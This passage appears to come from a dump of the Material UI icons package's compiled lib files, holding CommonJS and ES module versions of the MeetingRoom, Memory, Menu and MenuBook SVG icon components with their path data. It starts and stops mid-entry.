    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6v15H3v-2h2V3h9v1h5v15h2v2h-4V6zm-4 5v2h2v-2z\"\n}), 'MeetingRoom');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoom.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6v15H3v-2h2V3h9v1h5v15h2v2h-4V6zm-4 5v2h2v-2z\"\n}), 'MeetingRoom');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V4h-4V3H5v16H3v2h12V6h2v15h4v-2zm-6 0H7V5h6zm-3-8h2v2h-2z\"\n}), 'MeetingRoomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V4h-4V3H5v16H3v2h12V6h2v15h4v-2zm-6 0H7V5h6zm-3-8h2v2h-2z\"\n}), 'MeetingRoomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoomRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19h-1V5c0-.55-.45-1-1-1h-4c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v15H4c-.55 0-1 .45-1 1s.45 1 1 1h9c.55 0 1-.45 1-1V6h3v14c0 .55.45 1 1 1h2c.55 0 1-.45 1-1s-.45-1-1-1m-9-6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'MeetingRoomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19h-1V5c0-.55-.45-1-1-1h-4c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v15H4c-.55 0-1 .45-1 1s.45 1 1 1h9c.55 0 1-.45 1-1V6h3v14c0 .55.45 1 1 1h2c.55 0 1-.45 1-1s-.45-1-1-1m-9-6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'MeetingRoomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6v15H3v-2h2V3h9v1h5v15h2v2h-4V6zm-4 5v2h2v-2z\"\n}), 'MeetingRoomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6v15H3v-2h2V3h9v1h5v15h2v2h-4V6zm-4 5v2h2v-2z\"\n}), 'MeetingRoomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h6V5H7zm3-8h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V4h-4V3H5v16H3v2h12V6h2v15h4v-2zm-6 0H7V5h6zm-3-8h2v2h-2z\"\n}, \"1\")], 'MeetingRoomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MeetingRoomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h6V5H7zm3-8h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V4h-4V3H5v16H3v2h12V6h2v15h4v-2zm-6 0H7V5h6zm-3-8h2v2h-2z\"\n}, \"1\")], 'MeetingRoomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Memory.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9H9v6h6zm-2 4h-2v-2h2zm8-2V9h-2V7c0-1.1-.9-2-2-2h-2V3h-2v2h-2V3H9v2H7c-1.1 0-2 .9-2 2v2H3v2h2v2H3v2h2v2c0 1.1.9 2 2 2h2v2h2v-2h2v2h2v-2h2c1.1 0 2-.9 2-2v-2h2v-2h-2v-2zm-4 6H7V7h10z\"\n}), 'Memory');"
  },
  {
    "path": "packages/mui-icons-material/lib/Memory.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9H9v6h6zm-2 4h-2v-2h2zm8-2V9h-2V7c0-1.1-.9-2-2-2h-2V3h-2v2h-2V3H9v2H7c-1.1 0-2 .9-2 2v2H3v2h2v2H3v2h2v2c0 1.1.9 2 2 2h2v2h2v-2h2v2h2v-2h2c1.1 0 2-.9 2-2v-2h2v-2h-2v-2zm-4 6H7V7h10z\"\n}), 'Memory');"
  },
  {
    "path": "packages/mui-icons-material/lib/MemoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9H9v6h6zm-2 4h-2v-2h2zm8-2V9h-2V7c0-1.1-.9-2-2-2h-2V3h-2v2h-2V3H9v2H7c-1.1 0-2 .9-2 2v2H3v2h2v2H3v2h2v2c0 1.1.9 2 2 2h2v2h2v-2h2v2h2v-2h2c1.1 0 2-.9 2-2v-2h2v-2h-2v-2zm-4 6H7V7h10z\"\n}), 'MemoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MemoryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9H9v6h6zm-2 4h-2v-2h2zm8-2V9h-2V7c0-1.1-.9-2-2-2h-2V3h-2v2h-2V3H9v2H7c-1.1 0-2 .9-2 2v2H3v2h2v2H3v2h2v2c0 1.1.9 2 2 2h2v2h2v-2h2v2h2v-2h2c1.1 0 2-.9 2-2v-2h2v-2h-2v-2zm-4 6H7V7h10z\"\n}), 'MemoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MemoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-1 4h-2v-2h2zm8-3c0-.55-.45-1-1-1h-1V7c0-1.1-.9-2-2-2h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1H7c-1.1 0-2 .9-2 2v2H4c-.55 0-1 .45-1 1s.45 1 1 1h1v2H4c-.55 0-1 .45-1 1s.45 1 1 1h1v2c0 1.1.9 2 2 2h2v1c0 .55.45 1 1 1s1-.45 1-1v-1h2v1c0 .55.45 1 1 1s1-.45 1-1v-1h2c1.1 0 2-.9 2-2v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1m-5 7H8c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h8c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'MemoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MemoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-1 4h-2v-2h2zm8-3c0-.55-.45-1-1-1h-1V7c0-1.1-.9-2-2-2h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1H7c-1.1 0-2 .9-2 2v2H4c-.55 0-1 .45-1 1s.45 1 1 1h1v2H4c-.55 0-1 .45-1 1s.45 1 1 1h1v2c0 1.1.9 2 2 2h2v1c0 .55.45 1 1 1s1-.45 1-1v-1h2v1c0 .55.45 1 1 1s1-.45 1-1v-1h2c1.1 0 2-.9 2-2v-2h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1m-5 7H8c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h8c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'MemoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MemorySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9H9v6h6zm-2 4h-2v-2h2zm8-2V9h-2V5h-4V3h-2v2h-2V3H9v2H5v4H3v2h2v2H3v2h2v4h4v2h2v-2h2v2h2v-2h4v-4h2v-2h-2v-2zm-4 6H7V7h10z\"\n}), 'MemorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MemorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9H9v6h6zm-2 4h-2v-2h2zm8-2V9h-2V5h-4V3h-2v2h-2V3H9v2H5v4H3v2h2v2H3v2h2v4h4v2h2v-2h2v2h2v-2h4v-4h2v-2h-2v-2zm-4 6H7V7h10z\"\n}), 'MemorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MemoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h10V7H7zm2-8h6v6H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11V9h-2V7c0-1.1-.9-2-2-2h-2V3h-2v2h-2V3H9v2H7c-1.1 0-2 .9-2 2v2H3v2h2v2H3v2h2v2c0 1.1.9 2 2 2h2v2h2v-2h2v2h2v-2h2c1.1 0 2-.9 2-2v-2h2v-2h-2v-2zm-4 6H7V7h10zm-2-8H9v6h6zm-2 4h-2v-2h2z\"\n}, \"1\")], 'MemoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MemoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h10V7H7zm2-8h6v6H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11V9h-2V7c0-1.1-.9-2-2-2h-2V3h-2v2h-2V3H9v2H7c-1.1 0-2 .9-2 2v2H3v2h2v2H3v2h2v2c0 1.1.9 2 2 2h2v2h2v-2h2v2h2v-2h2c1.1 0 2-.9 2-2v-2h2v-2h-2v-2zm-4 6H7V7h10zm-2-8H9v6h6zm-2 4h-2v-2h2z\"\n}, \"1\")], 'MemoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Menu.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h18v-2H3zm0-5h18v-2H3zm0-7v2h18V6z\"\n}), 'Menu');"
  },
  {
    "path": "packages/mui-icons-material/lib/Menu.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h18v-2H3zm0-5h18v-2H3zm0-7v2h18V6z\"\n}), 'Menu');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBook.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99M13 12.49v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.3-4.5.83m4.5 1.84c-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26v-1.52c-.79-.16-1.64-.24-2.5-.24\"\n}, \"1\")], 'MenuBook');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBook.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99M13 12.49v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.3-4.5.83m4.5 1.84c-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26v-1.52c-.79-.16-1.64-.24-2.5-.24\"\n}, \"1\")], 'MenuBook');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBookOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99M13 12.49v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.3-4.5.83m4.5 1.84c-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26v-1.52c-.79-.16-1.64-.24-2.5-.24\"\n}, \"1\")], 'MenuBookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBookOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99M13 12.49v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.3-4.5.83m4.5 1.84c-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26v-1.52c-.79-.16-1.64-.24-2.5-.24\"\n}, \"1\")], 'MenuBookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBookRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 4.5c-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5-1.45 0-2.99.22-4.28.79C1.49 5.62 1 6.33 1 7.14v11.28c0 1.3 1.22 2.26 2.48 1.94.98-.25 2.02-.36 3.02-.36 1.56 0 3.22.26 4.56.92.6.3 1.28.3 1.87 0 1.34-.67 3-.92 4.56-.92 1 0 2.04.11 3.02.36 1.26.33 2.48-.63 2.48-1.94V7.14c0-.81-.49-1.52-1.22-1.85-1.28-.57-2.82-.79-4.27-.79M21 17.23c0 .63-.58 1.09-1.2.98-.75-.14-1.53-.2-2.3-.2-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5.92 0 1.83.09 2.7.28.46.1.8.51.8.98z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.98 11.01c-.32 0-.61-.2-.71-.52-.13-.39.09-.82.48-.94 1.54-.5 3.53-.66 5.36-.45.41.05.71.42.66.83s-.42.71-.83.66c-1.62-.19-3.39-.04-4.73.39-.08.01-.16.03-.23.03m0 2.66c-.32 0-.61-.2-.71-.52-.13-.39.09-.82.48-.94 1.53-.5 3.53-.66 5.36-.45.41.05.71.42.66.83s-.42.71-.83.66c-1.62-.19-3.39-.04-4.73.39-.08.02-.16.03-.23.03m0 2.66c-.32 0-.61-.2-.71-.52-.13-.39.09-.82.48-.94 1.53-.5 3.53-.66 5.36-.45.41.05.71.42.66.83s-.42.7-.83.66c-1.62-.19-3.39-.04-4.73.39-.08.02-.16.03-.23.03\"\n}, \"1\")], 'MenuBookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBookRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 4.5c-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5-1.45 0-2.99.22-4.28.79C1.49 5.62 1 6.33 1 7.14v11.28c0 1.3 1.22 2.26 2.48 1.94.98-.25 2.02-.36 3.02-.36 1.56 0 3.22.26 4.56.92.6.3 1.28.3 1.87 0 1.34-.67 3-.92 4.56-.92 1 0 2.04.11 3.02.36 1.26.33 2.48-.63 2.48-1.94V7.14c0-.81-.49-1.52-1.22-1.85-1.28-.57-2.82-.79-4.27-.79M21 17.23c0 .63-.58 1.09-1.2.98-.75-.14-1.53-.2-2.3-.2-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5.92 0 1.83.09 2.7.28.46.1.8.51.8.98z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.98 11.01c-.32 0-.61-.2-.71-.52-.13-.39.09-.82.48-.94 1.54-.5 3.53-.66 5.36-.45.41.05.71.42.66.83s-.42.71-.83.66c-1.62-.19-3.39-.04-4.73.39-.08.01-.16.03-.23.03m0 2.66c-.32 0-.61-.2-.71-.52-.13-.39.09-.82.48-.94 1.53-.5 3.53-.66 5.36-.45.41.05.71.42.66.83s-.42.71-.83.66c-1.62-.19-3.39-.04-4.73.39-.08.02-.16.03-.23.03m0 2.66c-.32 0-.61-.2-.71-.52-.13-.39.09-.82.48-.94 1.53-.5 3.53-.66 5.36-.45.41.05.71.42.66.83s-.42.7-.83.66c-1.62-.19-3.39-.04-4.73.39-.08.02-.16.03-.23.03\"\n}, \"1\")], 'MenuBookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBookSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v15.5C2.45 20.4 4.55 20 6.5 20s4.05.4 5.5 1.5c1.45-1.1 3.55-1.5 5.5-1.5 1.17 0 2.39.15 3.5.5.75.25 1.4.55 2 1V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 